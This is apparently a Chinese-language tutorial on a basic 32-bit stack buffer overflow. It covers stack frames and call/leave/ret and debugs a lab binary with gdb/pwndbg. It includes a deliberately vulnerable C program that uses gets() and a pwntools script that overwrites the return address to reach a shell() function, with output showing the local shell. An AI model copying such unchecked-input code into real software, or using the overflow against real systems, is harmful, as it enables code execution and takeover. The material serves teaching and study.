說明
本文主要講解簡單堆疊溢位的基本原理, 如果有什么不對的地方或者更好的建議, 還請大佬指正.
工具準備
- linux系統
- 除錯工具gdb
- gdb插件:pwndbg
- pwntools工具包
關于pwndbg插件和pwntools可以在github搜索并下載安裝,需要python環境
函式堆疊幀與ESP、EBP暫存器
C語言中,每個堆疊幀對應一個未運行完的函式. 堆疊幀中保存了函式的區域變數和回傳地址, 即保存著函式的執行環境.
------摘自百度百科
ESP暫存器保存著堆疊幀的堆疊頂地址, EBP暫存器保存著當前函式堆疊幀的堆疊底地址. (32位系統為ESP、EBP, 64位系統為RSP、RBP, 其它暫存器同理)
call指令、leave指令與ret指令
匯編語言中, 用call指令來實作函式的呼叫, 指令格式: call address;
call指令效果相當于"push eip; jump address;". 不僅是跳轉到指定函式地址執行指令, 在跳轉之前還將當前IP暫存器中的值(下一條指令的地址)壓入到了堆疊中. 從而可以在被調函式執行完之后, 繼續執行當前函式.
在被調函式執行完畢后, 程式要準備退出函式, 需要leave指令來釋放函式堆疊幀, 并使EBP暫存器恢復舊值, 執行的操作相當于"mov esp,ebp; pop ebp; “, 之后ret指令將程式執行流回傳上層函式. 有點c語言中return陳述句的意味. ret指令效果相當于"pop eip;”. 即將堆疊頂保存的值出堆疊, 作為下一條將要執行指令的地址賦值給IP暫存器.
造成堆疊溢位的原因
系統堆疊是由高地址往低地址增長的, 而資料的寫入是按低地址到高地址的順序寫入. 如果程式沒有對輸入的字符數量做出限制, 就存在資料溢位當前堆疊幀以及覆寫回傳地址的可能, 從而實作控制程式的執行流.
溢位原理
以32位可執行程式為例, 我們將通過除錯分析下面這段簡單的代碼來理解堆疊溢位.
#include<stdio.h>
#include<unistd.h>
void shell(){
system("/bin/sh");
}
void vulnerable(){
char buf[16];
gets(buf);
}
int main(){
vulnerable();
}
可以看到buf大小只有16位元組,而gets()函式卻可以無限輸入,不檢查字符上限, 直到遇到’\n’字符為止.
我們將c檔案編譯鏈接成可執行檔案:
# 編譯引數先不講解,在后面講解保護機制時解釋
# 只需知道-m32是將.c檔案編譯成32位程式即可
gcc -m32 -fno-stack-protector -no-pie main.c -o stack
我們用objdump 來反匯編一下生成的可執行檔案(部分反匯編代碼):
08049172 <shell>:
8049172: 55 push ebp
8049173: 89 e5 mov ebp,esp
8049175: 83 ec 08 sub esp,0x8
8049178: 83 ec 0c sub esp,0xc
804917b: 68 08 a0 04 08 push 0x804a008
8049180: e8 bb fe ff ff call 8049040 <system@plt>
8049185: 83 c4 10 add esp,0x10
8049188: 90 nop
8049189: c9 leave
804918a: c3 ret
0804918b <vulnerable>:
804918b: 55 push ebp
804918c: 89 e5 mov ebp,esp
804918e: 83 ec 18 sub esp,0x18
8049191: 83 ec 0c sub esp,0xc
8049194: 8d 45 e8 lea eax,[ebp-0x18]
8049197: 50 push eax
8049198: e8 93 fe ff ff call 8049030 <gets@plt>
804919d: 83 c4 10 add esp,0x10
80491a0: 90 nop
80491a1: c9 leave
80491a2: c3 ret
080491a3 <main>:
80491a3: 55 push ebp
80491a4: 89 e5 mov ebp,esp
80491a6: 83 e4 f0 and esp,0xfffffff0
80491a9: e8 dd ff ff ff call 804918b <vulnerable>
80491ae: b8 00 00 00 00 mov eax,0x0
80491b3: c9 leave
80491b4: c3 ret
80491b5: 66 90 xchg ax,ax
80491b7: 66 90 xchg ax,ax
80491b9: 66 90 xchg ax,ax
80491bb: 66 90 xchg ax,ax
80491bd: 66 90 xchg ax,ax
80491bf: 90 nop
上圖可以看到, 在執行call之前,系統會將引數入堆疊(32位程式如此), 執行call指令進入函式之后, 前兩潭訓編指令都相同:
55 push ebp
89 e5 mov ebp,esp
這兩條指令的作用是將上層函式堆疊幀的堆疊底入堆疊,同時將堆疊頂作為本函式堆疊幀的堆疊底.
函式呼叫時堆疊的變化情況大致如下所示:
執行call指令時首先esp執行-4操作, 堆疊頂上移, 然后將call指令的下條指令地址存入堆疊頂位置, 從上圖匯編代碼可以看出是將地址0x80491ae入堆疊, 堆疊向低地址方向增長.
進入vulnerable函式之后,分別執行前兩條指令構造新堆疊幀:
將當前堆疊幀的ebp入堆疊, 然后將ebp移動到堆疊頂位置, 此時vulnerable函式的堆疊幀構造完畢,當有臨時變數時, esp指標執行sub操作,指標上移, 為臨時變數開辟堆疊空間.
函式功能執行完畢,準備回傳時, 需要將堆疊空間釋放, 即銷毀當前堆疊幀, 在上面匯編代碼部分可以看到, 用戶定義的函式末尾通常會有兩條指令(有時候沒有leave指令):
c9 leave
c3 ret
執行leave指令, 首先將esp移動到堆疊幀的堆疊底ebp的位置, 之后執行出堆疊操作, 將堆疊頂賦值給ebp, 此時ebp恢復舊值, 因為出堆疊操作, esp指標下移. (出堆疊操作并不會清除堆疊內資料, 只是將esp的值修改了而已)
之后執行ret指令, 將堆疊頂賦值給IP暫存器 , esp下移, 程式繼續. 所謂堆疊溢位就是想辦法將上層函式的堆疊幀中的"回傳地址"給覆寫掉, 以達到改變程式執行流的效果. 在本例中, 就是往buf中一直寫入資料, 直到將main堆疊幀中"回傳地址"給覆寫掉. 當程式執行完vulnerable函式后, 將回傳到指定地址繼續執行指令.
接下來我們用動態除錯工具gdb和pwndbg來除錯此程式:
常用的gdb/pwndbg命令如下:
- b function_name —> 在函式處下斷點
- b *address —> 在地址address處下斷點
- info b —> 查看斷點資訊
- r —> 運行程式
- n —> 單步步過
- s —> 單步步入,函式跟蹤
- c —> 繼續執行
- fin —> 跳出,執行到函式回傳處
- stack n —> 查看堆疊內n個存盤單元的資料
運行gdb, 并在main函式處打上斷點, 運行程式:
可以看到最上面是一些暫存器的狀態, 往下是程式執行處的反匯編代碼, 小箭頭指向將要執行指令, 接著是部分堆疊空間的狀態, 包括ebp和esp的位置資訊, 最下面是函式呼叫順序, 可以看到程式執行時, main函式并不是第一個被呼叫的函式, 是由__libc_start_main呼叫.
Breakpoint 1, 0x080491a6 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
EAX 0xf7fa7dc8 (environ) —? 0xffffbcbc —? 0xffffbe9f ?— 'SHELL=/bin/bash'
EBX 0x0
ECX 0xcaf93e6a
EDX 0xffffbc44 ?— 0x0
EDI 0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ?— 0x1d9d6c
ESI 0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ?— 0x1d9d6c
EBP 0xffffbc18 ?— 0x0
ESP 0xffffbc18 ?— 0x0
EIP 0x80491a6 (main+3) ?— 0xe8f0e483
───────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
? 0x80491a6 <main+3> and esp, 0xfffffff0
0x80491a9 <main+6> call vulnerable <vulnerable>
0x80491ae <main+11> mov eax, 0
0x80491b3 <main+16> leave
0x80491b4 <main+17> ret
0x80491b5 nop
0x80491b7 nop
0x80491b9 nop
0x80491bb nop
0x80491bd nop
0x80491bf nop
───────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ ebp esp 0xffffbc18 ?— 0x0
01:0004│ 0xffffbc1c —? 0xf7de6b41 (__libc_start_main+241) ?— add esp, 0x10
02:0008│ 0xffffbc20 ?— 0x1
03:000c│ 0xffffbc24 —? 0xffffbcb4 —? 0xffffbe74 ?— '/home/darkfox/Desktop/code_project/c/stack'
04:0010│ 0xffffbc28 —? 0xffffbcbc —? 0xffffbe9f ?— 'SHELL=/bin/bash'
05:0014│ 0xffffbc2c —? 0xffffbc44 ?— 0x0
06:0018│ 0xffffbc30 ?— 0x1
07:001c│ 0xffffbc34 ?— 0x0
─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
? f 0 80491a6 main+3
f 1 f7de6b41 __libc_start_main+241
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
我們接著執行, 直到往buf輸入資料為止:
0x804918c <vulnerable+1> mov ebp, esp
0x804918e <vulnerable+3> sub esp, 0x18
0x8049191 <vulnerable+6> sub esp, 0xc
0x8049194 <vulnerable+9> lea eax, [ebp - 0x18]
0x8049197 <vulnerable+12> push eax
? 0x8049198 <vulnerable+13> call gets@plt <gets@plt>
arg[0]: 0xffffbbf0 ?— 0x1
arg[1]: 0x40000
arg[2]: 0x7
arg[3]: 0x8049203 (__libc_csu_init+67) ?— 0x8301c783
0x804919d <vulnerable+18> add esp, 0x10
0x80491a0 <vulnerable+21> nop
0x80491a1 <vulnerable+22> leave
0x80491a2 <vulnerable+23> ret
0x80491a3 <main> push ebp
我們輸入’aaaa’, 并查看堆疊資料, 可以看到我們輸入的資料存盤在地址0xffffbbf0處, 我們需要覆寫的資料在地址0xffffbc0c處, 中間相隔了0x1c位元組的資料. 另外我們需要程式回傳shell函式處, 運行shell函式, 獲得系統控制權, 此時我們可以將shell函式的地址0x8049172覆寫原來的地址資料.然后就大功告成.
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 20
00:0000│ esp 0xffffbbe0 —? 0xffffbbf0 ?— 'aaaa'
01:0004│ 0xffffbbe4 ?— 0x40000
02:0008│ 0xffffbbe8 ?— 0x7
03:000c│ 0xffffbbec —? 0x8049203 (__libc_csu_init+67) ?— 0x8301c783
04:0010│ eax 0xffffbbf0 ?— 'aaaa'
05:0014│ 0xffffbbf4 —? 0xffffbc00 —? 0xf7fe4520 (_dl_fini) ?— push ebp
06:0018│ 0xffffbbf8 —? 0xffffbcbc —? 0xffffbe9f ?— 'SHELL=/bin/bash'
07:001c│ 0xffffbbfc —? 0x80491db (__libc_csu_init+27) ?— 0xff10b38d
08:0020│ 0xffffbc00 —? 0xf7fe4520 (_dl_fini) ?— push ebp
09:0024│ 0xffffbc04 ?— 0x0
0a:0028│ ebp 0xffffbc08 —? 0xffffbc18 ?— 0x0
0b:002c│ 0xffffbc0c —? 0x80491ae (main+11) ?— 0xb8
0c:0030│ 0xffffbc10 —? 0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ?— 0x1d9d6c
... ↓
0e:0038│ 0xffffbc18 ?— 0x0
0f:003c│ 0xffffbc1c —? 0xf7de6b41 (__libc_start_main+241) ?— add esp, 0x10
10:0040│ 0xffffbc20 ?— 0x1
11:0044│ 0xffffbc24 —? 0xffffbcb4 —? 0xffffbe74 ?— '/home/darkfox/Desktop/code_project/c/stack'
12:0048│ 0xffffbc28 —? 0xffffbcbc —? 0xffffbe9f ?— 'SHELL=/bin/bash'
13:004c│ 0xffffbc2c —? 0xffffbc44 ?— 0x0
用python撰寫漏洞利用腳本
#!/usr/bin/python3 #指明腳本解釋程式
# 匯入pwntools工具
from pwn import *
# 運行stack程式
io = process('./stack')
# shell函式回傳地址
shell = 0x8049172
# 構造payload,先填充0x1c位元組的垃圾資料,再覆寫回傳地址
# pack()將整型數值打包成32位位元組碼,也可用 p32(shell) 代替
payload = b'a' * 0x1c + pack(shell,32)
#如果是python2, payload構造方式如下
#payload = 'a' * 0x1c + p32(shell)
# 向程式發送資料
io.sendline(payload)
#互動模式
io.interactive()
運行腳本后獲得系統控制權限,執行ls命令,果然可以查看當前目錄的檔案
darkfox@darkfox-PC:~/Desktop/code_project/c$ python3 io.py
[+] Starting local process './stack': pid 15404
[*] Switching to interactive mode
$ ls
how2heap io.py main.c stack
$
那真對這種簡單的堆疊溢位, 有什么防止的辦法呢? 請查閱堆疊保護措施 canary機制、堆疊不可執行（NX）、地址隨機化（PIE、ASLR）機制，
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